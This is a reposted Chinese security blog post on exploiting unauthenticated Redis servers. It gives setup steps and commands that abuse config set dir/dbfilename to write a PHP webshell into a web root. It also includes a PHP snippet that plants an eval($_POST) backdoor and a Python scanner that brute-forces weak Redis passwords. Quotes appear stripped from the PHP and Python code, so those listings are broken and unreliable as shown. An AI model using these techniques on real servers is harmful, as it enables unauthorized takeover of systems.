码迷,mamicode.com
首页 > 编程语言 > 详细

Redis 未授权访问漏洞(附Python脚本)

时间:2017-09-21 14:54:12      阅读:283      评论:0      收藏:0      [点我收藏+]

标签:location   /usr   color   .net   ora   exit   进程   客户端   自动   

0x01 环境搭建

#下载并安装
cd /tmp
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
#启动redis服务
cd src
./redis-server

启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了。 比如:

root@kali:/tmp/redis-2.8.17/src# ./redis-cli -h 192.168.125.140
192.168.125.140:6379> ping
PONG
192.168.125.140:6379>

0x02 未授权访问漏洞测试

使用redis客户端直接无账号成功登录redis:

技术分享

从登录的结果可以看出该redis服务对公网开放,且未启用认证。

利用redis写webshell

利用前提:

1.redis未授权 能redis-cli连上

2.开了web并且知道路径(如利用phpinfo)

我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:

config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save

当数据库过大时,redis写shell的小技巧:

<?php 
set_time_limit(0);
$fp=fopen(wtf.php,w);
fwrite($fp,<?php @eval($_POST[\"mmbns233\"]);?>);
exit();
?>

0x03 Pyhton脚本自动化测试

可用来测试是否存在未授权或弱口令的情况

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
PASSWORD_DIC=[redis,root,oracle,password,p@aaw0rd,abc123!,123456,admin]
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if +OK in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass

print check("192.168.125.140", "6379", timeout=10)

 

参考文章:

Redis 安装 http://www.runoob.com/redis/redis-install.html

Redis未授权访问漏洞  http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1

 

Redis 未授权访问漏洞(附Python脚本)

标签:location   /usr   color   .net   ora   exit   进程   客户端   自动   

原文地址:http://www.cnblogs.com/xiaozi/p/7568272.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!